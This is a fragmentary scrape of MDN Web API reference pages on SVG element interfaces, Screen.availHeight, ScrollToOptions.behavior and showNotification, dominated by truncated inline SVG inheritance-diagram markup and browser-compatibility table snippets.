...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfemergenodeelement" target="_top"><rect x="271" y="65" width="210" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="376" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="midd...
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfemergenodeelement' in that specification.
SVGFEOffsetElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfeoffsetelement" target="_top"><rect x="301" y="65" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle"...
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfeoffsetelement' in that specification.
SVGFEPointLightElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfepointlightelement" target="_top"><rect x="261" y="65" width="220" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="371" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="mid...
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfepointlightelement' in that specification.
SVGFESpecularLightingElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfespecularlightingelement" target="_top"><rect x="201" y="65" width="280" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="341" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baselin...
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfespecularlightingelement' in that specification.
SVGFESpotLightElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfespotlightelement" target="_top"><rect x="271" y="65" width="210" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="376" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="midd...
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfespotlightelement' in that specification.
SVGFETileElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfetileelement" target="_top"><rect x="321" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="401" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">s...
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfetileelement' in that specification.
SVGForeignObjectElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svggraphicselement" target="_top"><rect x="301" y="65" width="180" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">sv...
...="301,89 291,84 291,94 301,89" stroke="#d4dde4" fill="none"/><line x1="291" y1="89" x2="261" y2="89" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgforeignobjectelement" target="_top"><rect x="31" y="65" width="230" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="146" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgforeignobjectelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent, svggraphicselement and implements properties from svgurireference.
SVGGradientElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svggradientelement" target="_top"><rect x="301" y="65" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle"...
...it is invalid to attempt to define a new value of this type or to attempt to switch an existing value to this type.
SVGMarkerElement - Web APIs
it is invalid to attempt to define a new value of this type or to attempt to switch an existing value to this type.
...it is invalid to attempt to define a new value of this type or to attempt to switch an existing value to this type.
... browser compatibility desktop mobile chrome edge firefox internet explorer opera safari android webview chrome for android firefox for android opera for android safari on ios samsung internet svgmarkerelement chrome ...
... chrome android ?
SVGMetadataElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgmetadataelement" target="_top"><rect x="301" y="65" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle"...
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgmetadataelement' in that specification.
SVGPathSeg - Web APIs
it is invalid to attempt to define a new value of this type or to attempt to switch an existing value to this type.
... pathsegtypeasletter domstring the type of the path segment as specified by the corresponding one character command name.
... browser compatibility desktop mobile chrome edge firefox internet explorer opera safari android webview chrome for android firefox for android opera for android safari on ios samsung internet svgpathseg chrome ?
... chrome android ?
SVGPointList - Web APIs
an svgpointlist object can be designated as read only, which means that attempts to modify the object will result in an exception being thrown.
...any changes made to the item are immediately reflected in the list.
... browser compatibility desktop mobile chrome edge firefox internet explorer opera safari android webview chrome for android firefox for android opera for android safari on ios samsung internet svgpointlist chrome ?
... chrome android ?
SVGScriptElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgscriptelement" target="_top"><rect x="321" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="401" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">s...
...a domexception is raised with the code no_modification_allowed_err on an attempt to change the value of a read only attribut.
SVGStylable - Web APIs
the returned object is live; changes to the objects represent immediate changes to the objects to which the cssvalue is attached.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvgstylablechrome ?
... webview android no support nochrome android ?
SVGSymbolElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgsymbolelement" target="_top"><rect x="321" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="401" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">s...
... candidate recommendation changed the inheritance from svgelement to svggraphicselement and removed the implemented interfaces svglangspace, svgexternalresourcesrequired, and svgstylable.
SVGTransformable - Web APIs
svg transformable interface interface svgtransformable contains properties and methods that apply to all elements which have attribute transform.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvgtransformablechrome ?
... webview android no support nochrome android ?
Screen.availHeight - Web APIs
you can similarly use screen.availwidth to get the number of pixels which are horizontally available to the browser for its use.
... for instance, on a mac whose dock is located at the bottom of screen (which is the default), the value of availheight is approximately the value of height (the total height of the screen in css pixels) minus the heights of the dock and menu bar, as seen in the diagram below.
... example if your web application needs to open a new window, such as a tool palette which can contain multiple panels, and wants to position it so that it occupies the entire vertical space available, you can do so using code similar to what's seen here.
... let palettewindow = window.open("panels.html", "panels", "left=0, top=0, width=200"); the panels window's html, in panels.html, has javascript code of its own, which is executed as soon as the window is created.
ScrollToOptions.behavior - Web APIs
this is actually defined on the scrolloptions dictionary, which is implemented by scrolltooptions.
... syntax behavior: scrollbehavior value an enum, the value of which can be one of the following: smooth: the scrolling animates smoothly.
...the positions to scroll to along the x and y axes), and a checkbox indicating whether they want smooth scrolling enabled or not.
... when the form is submitted, an event handler is run that puts the entered values into a scrolltooptions dictionary, and then invokes the window.scrollto() method, passing the dictionary as a parameter: form.addeventlistener('submit', (e) => { e.preventdefault(); var scrolloptions = { left: leftinput.value, top: topinput.value, behavior: scrollinput.checked ?
ServiceWorkerRegistration.showNotification() - Web APIs
badge: a usvstring containing the url of an image to represent the notification when there is not enough space to display the notification itself such as for example, the android notification bar.
...if this value is absent or false, the desktop version of chrome will auto-minimize notifications after approximately twenty seconds.
